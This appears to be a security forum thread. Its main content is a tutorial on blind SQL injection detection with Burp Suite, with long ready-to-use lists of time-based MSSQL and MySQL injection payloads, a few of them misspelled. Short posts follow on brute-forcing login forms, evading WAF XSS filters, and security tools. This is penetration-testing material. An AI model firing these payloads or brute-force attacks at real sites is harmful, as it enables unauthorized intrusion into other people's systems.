Nytro

Blind SQL Injection detection with Burp Suite by foip on December 21st, 2010 1. Introduction Burp suite is local proxy software (man-in-the-middle application) helping a penetration tester to perform deep analysis and security checks of the HTTP conversation, between a browser and a web application. Burp suiteholds many useful plug-ins such as Spider, Repeater, Scanner, Decoder, … for achieving this job. The module on which we focus on is called Intruder. With this plug-in, you are able to run customised attacks against a Web application, by sending multiple payload type at multiple positions inside the headers/body of an HTTP request, and quickly check against the information responded. This article provides some intresting SQL payload that you can use with the Intruder module of Burp suite. Warning: Don’t use this tutorial against web applications if you are not the owner or have the authorization of the responsible. 2. SQL Injection detection As you know, detect an SQL injection issue “manually” could be easy to do. But it is not always true for an “automatic” vulnerability scanner. That’s why we would like to give a second chance to detect such vulnerabilities with smart “customized attacks” of Burp suite. In order to find SQL injection issues behind specific parameters of a page, we will simply use some usual time-base consuming SQL statements such as “waitfor delay” (for MS-SQL) and “benchmark()” (for MySQL), and sort the HTTP responses by “Response Time Completed“. By this way, we will able to quickly find the interesting responses among the list. 3. Burp Suite example This is a short example of a blind SQL injection detection with Burp suite (we assume you already have some knowledge of Burp suite usage. If not, enjoy this tool). First, we send a recorded HTTP request to the Intruder module and set up the position where the payload will have to be injected (in red). Next, we load our Payloads list (see next section) from a text file. These payloads will use the benchmarck()MySQL function, and will ask to compute MD5(1) 3,000,000 times in order to delay the response. Important: add a white space in the list “URL-encode these characters” (on the bottom of the page) if there is no one already. And then we start the attack (see Intruder menu). When it will be finished, the responses will be displayed in a table format. Here we have sorted the result by “Response complete” to get immediately which payloads have triggered the vulnerability. As you see on the previous screenshot, request 27 took more than 17 seconds to complete with the following payload: ") and 0=benchmark(3000000,MD5(1)) # The complete SQL statement was : SELECT * FROM user WHERE id=("1") AND 0=benchmark(3000000,MD5(1)) # OR mid="1" 4. SQL injection entry points Because there are so many ways to write an SQL statement, we will not be able to provide an exhaustive list of payloads for each kind of SQL command and injection issue. We will try to build a good list of valid SQL payloads for the following statements: 4.1 WHERE/ASSIGNATION Which should match statements such as: SELECT a FROM tbl WHERE item=x payload DELETE FROM tbl WHERE item=x payload UPDATE tbl SET item1=x payload1 WHERE item2=x payload2 4.2. INSERT/UPDATE Which should match statements such as: INSERT INTO tbl(a,b,c) VALUES(x payload1, y payload2 ) UPDATE tbl(a,b) SET VALUES(x payload1, y payload2) WHERE item=value 4.3. ORDER BY/ASC/DESC Which should match statements such as: SELECT a FROM tbl <WHERE ...> ORDER BY value,payload1 ASC,payload2 5. The Payloads So far, we will try to focus on MSSQL (using “waitfor delay“ command to introduce time delay) and MySQL Server (using benchmark() function to generate long CPU activities). For each injection, we will: use quote, double-quote, parenthesis or blank characters to close everything written before the injected payload. play with multiple level of parenthesis. ending the SQL statement with { /* , — } for MSSQL, and { /* , — , # } for MySQL. for insert only: try different number of columns for values(). 5.1. Download Download the full list of payloads: payloads-sql-blind.tar.gz 5.2. Content: payloads-sql-blind-MSSQL-INSERT.txt payloads-sql-blind-MSSQL-WHERE.txt payloads-sql-blind-MySQL-INSERT.txt payloads-sql-blind-MySQL-WHERE.txt payloads-sql-blind-MySQL-ORDER_BY.txt payloads-sql-blind-MSSQL-INSERT.txt )%20waitfor%20delay%20'0:0:20'%20/* )%20waitfor%20delay%20'0:0:20'%20-- ')%20waitfor%20delay%20'0:0:20'%20/* ')%20waitfor%20delay%20'0:0:20'%20-- ")%20waitfor%20delay%20'0:0:20'%20/* ")%20waitfor%20delay%20'0:0:20'%20-- ))%20waitfor%20delay%20'0:0:20'%20/* ))%20waitfor%20delay%20'0:0:20'%20-- '))%20waitfor%20delay%20'0:0:20'%20/* '))%20waitfor%20delay%20'0:0:20'%20-- "))%20waitfor%20delay%20'0:0:20'%20/* "))%20waitfor%20delay%20'0:0:20'%20-- ,NULL)%20waitfor%20delay%20'0:0:20'%20/* ,NULL)%20waitfor%20delay%20'0:0:20'%20-- ',NULL)%20waifor%20delay%20'0:0:20'%20/* ',NULL)%20waitfor%20delay%20'0:0:20'%20-- ",NULL)%20waitfor%20delay%20'0:0:20'%20/* ",NULL)%20waitfor%20delay%20'0:0:20'%20-- ),NULL)%20waitfor%20delay%20'0:0:20'%20/* ),NULL)%20waitfor%20delay%20'0:0:20'%20-- '),NULL)%20waifor%20delay%20'0:0:20'%20/* '),NULL)%20waitfor%20delay%20'0:0:20'%20-- "),NULL)%20waitfor%20delay%20'0:0:20'%20/* "),NULL)%20waitfor%20delay%20'0:0:20'%20-- ,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- '),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* '),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- "),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* "),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- '),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* '),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- "),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* "),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- '),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* '),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- "),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* "),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- '),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* '),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- "),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* "),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- '),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* '),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- "),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* "),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- '),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* '),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- "),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* "),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- ),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* ),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- '),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* '),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- "),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/* "),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20-- payloads-sql-blind-MSSQL-WHERE.txt waitfor delay '0:0:20' /* waitfor delay '0:0:20' -- ' waitfor delay '0:0:20' /* ' waitfor delay '0:0:20' -- " waitfor delay '0:0:20' /* " waitfor delay '0:0:20' -- ) waitfor delay '0:0:20' /* ) waitfor delay '0:0:20' -- )) waitfor delay '0:0:20' /* )) waitfor delay '0:0:20' -- ))) waitfor delay '0:0:20' /* ))) waitfor delay '0:0:20' -- )))) waitfor delay '0:0:20' /* )))) waitfor delay '0:0:20' -- ))))) waitfor delay '0:0:20' -- )))))) waitfor delay '0:0:20' -- ') waitfor delay '0:0:20' /* ') waitfor delay '0:0:20' -- ") waitfor delay '0:0:20' /* ") waitfor delay '0:0:20' -- ')) waitfor delay '0:0:20' /* ')) waitfor delay '0:0:20' -- ")) waitfor delay '0:0:20' /* ")) waitfor delay '0:0:20' -- '))) waitfor delay '0:0:20' /* '))) waitfor delay '0:0:20' -- "))) waitfor delay '0:0:20' /* "))) waitfor delay '0:0:20' -- ')))) waitfor delay '0:0:20' /* ')))) waitfor delay '0:0:20' -- ")))) waitfor delay '0:0:20' /* ")))) waitfor delay '0:0:20' -- '))))) waitfor delay '0:0:20' /* '))))) waitfor delay '0:0:20' -- "))))) waitfor delay '0:0:20' /* "))))) waitfor delay '0:0:20' -- ')))))) waitfor delay '0:0:20' /* ')))))) waitfor delay '0:0:20' -- ")))))) waitfor delay '0:0:20' /* ")))))) waitfor delay '0:0:20' -- payloads-sql-blind-MySQL-INSERT.txt +if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* +if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- +if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 "+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/* "+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- "+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23 +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/* "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20-- "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23 +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/* "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20-- "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23 +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/* "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20-- "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23 +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/* "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20-- "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23 +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/* "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20-- "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23 +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/* "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20-- "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/* "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20-- "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23 payloads-sql-blind-MySQL-WHERE.txt and 0=benchmark(3000000,MD5(1))%20/* and 0=benchmark(3000000,MD5(1))%20-- and 0=benchmark(3000000,MD5(1))%20%23 ' and 0=benchmark(3000000,MD5(1))%20/* ' and 0=benchmark(3000000,MD5(1))%20-- ' and 0=benchmark(3000000,MD5(1))%20%23 " and 0=benchmark(3000000,MD5(1))%20/* " and 0=benchmark(3000000,MD5(1))%20-- " and 0=benchmark(3000000,MD5(1))%20%23 ) and 0=benchmark(3000000,MD5(1))%20/* ) and 0=benchmark(3000000,MD5(1))%20-- ) and 0=benchmark(3000000,MD5(1))%20%23 )) and 0=benchmark(3000000,MD5(1))%20/* )) and 0=benchmark(3000000,MD5(1))%20-- )) and 0=benchmark(3000000,MD5(1))%20%23 ))) and 0=benchmark(3000000,MD5(1))%20/* ))) and 0=benchmark(3000000,MD5(1))%20-- ))) and 0=benchmark(3000000,MD5(1))%20%23 )))) and 0=benchmark(3000000,MD5(1))%20/* )))) and 0=benchmark(3000000,MD5(1))%20-- )))) and 0=benchmark(3000000,MD5(1))%20%23 ') and 0=benchmark(3000000,MD5(1))%20/* ') and 0=benchmark(3000000,MD5(1))%20-- ') and 0=benchmark(3000000,MD5(1))%20%23 ") and 0=benchmark(3000000,MD5(1))%20/* ") and 0=benchmark(3000000,MD5(1))%20-- ") and 0=benchmark(3000000,MD5(1))%20%23 ')) and 0=benchmark(3000000,MD5(1))%20/* ')) and 0=benchmark(3000000,MD5(1))%20-- ')) and 0=benchmark(3000000,MD5(1))%20%23 ")) and 0=benchmark(3000000,MD5(1))%20/* ")) and 0=benchmark(3000000,MD5(1))%20-- ")) and 0=benchmark(3000000,MD5(1))%20%23 '))) and 0=benchmark(3000000,MD5(1))%20/* '))) and 0=benchmark(3000000,MD5(1))%20-- '))) and 0=benchmark(3000000,MD5(1))%20%23 "))) and 0=benchmark(3000000,MD5(1))%20/* "))) and 0=benchmark(3000000,MD5(1))%20-- "))) and 0=benchmark(3000000,MD5(1))%20%23 ')))) and 0=benchmark(3000000,MD5(1))%20/* ')))) and 0=benchmark(3000000,MD5(1))%20-- ')))) and 0=benchmark(3000000,MD5(1))%20%23 ")))) and 0=benchmark(3000000,MD5(1))%20/* ")))) and 0=benchmark(3000000,MD5(1))%20-- ")))) and 0=benchmark(3000000,MD5(1))%20%23 payloads-sql-blind-MySQL-ORDER_BY.txt ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/* "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))-- "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23 6. The End Enjoy this tutorial and these SQL payloads. New payloads suggestions are welcome ! (3 votes, average: 4.00 out of 5) © 2010 – 2014, Fun Over IP. All rights reserved. Sursa: https://funoverip.net/2010/12/blind-sql-injection-detection-with-burp-suite/

Complex Website Login Form Attacks Using Burp Suite Dictionary attack complex web login forms with Burp Suite's Intruder. This is a follow up video to my Hydra web form login video.https://www.youtube.com/watch?v=ZVngj... You can learn more in this blog post http://se.azinstall.net/2016/03/using... This video shows you how to use Burp Suite to intercept login form posts, alter them in Burp Suite's Intruder and launch an automated attack that will work against most websites. In the video we attack a website that has an Antiforgery token that is hidden in the form. This, along with a tracking cookie that is submitted with the form prevents the server from even attempting to validate the login if these tokens don't match. This will prevent tools like Hydra from effectively hacking the login. Follow me on Twitter, @gFogerlie (https://twitter.com/gfogerlie), Google+ https://plus.google.com/+GarrettFogerlie and Facebookhttps://www.facebook.com/garrett.foge...

Auziti ba: ROOT FREE (for SEO purposes)

Version 1.0.2: Added support for SecureCRT 7.3 Added basic support for "__thiscall" https://github.com/NytroRST/NetRipper

+ HTML + Zip Sunt geniali baietii.

EVADING ALL WEB-APPLICATION FIREWALLS XSS FILTERS 1. Abstract Due to the increasing use of Web-Application Firewalls, I conducted a research on all wellknown Web-Application Firewalls to check their efficiency in protecting against cross-site scripting attacks. The motive behind this research was to confirm that there is no effective way to protect against a vulnerability other than fixing its root cause. The tests were conducted against popular Web-Application Firewalls, such as F5 Big IP, Imperva Incapsula, AQTRONIX WebKnight, PHP-IDS, Mod-Security, Sucuri, QuickDefense, Barracuda WAF, and they were all evaded within the research. 2. Introduction A web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. Usually, those rules protect against common threats, such as cross-site scripting (XSS), SQL injection (SQLI), and other common web-application related vulnerabilities. In my tests, I focused on finding methods to bypass WAFs protection against cross-site scripting vulnerabilities. "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it. An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site"[1]. Download: https://www.exploit-db.com/docs/38117.pdf

Technical Note: Thanks to a Funky File Format Fire Sale, the file named pocorgtfo11.pdf is a polyglot in HTML, PDF, ZIP, and Ruby that executes as a quine over HTTP. IN A FIT OF STUBBORN OPTIMISM, PASTOR MANUL LAPHROAIG AND HIS CLEVER CREW SET SAIL TOWARD WELCOMING SHORES OF THE GREAT UNKNOWN! 11:1 Please Stand and Be Seated 11:2 In Praise of Junk Hacking 11:3 Emulating Star Wars on a Vector Display 11:4 Tron in 512 Bytes 11:5 Defeating the E7 Protection 11:6 Phrasebook for ARM Cortex M 11:7 Ghetto CFI for x86 11:8 Tourist’s Guide to the MSP430 11:9 This PDF is a Webserver 11:10 In Memoriam: Ben “bushing” Byer Download: http://www.sultanik.com/pocorgtfo/pocorgtfo11.pdf

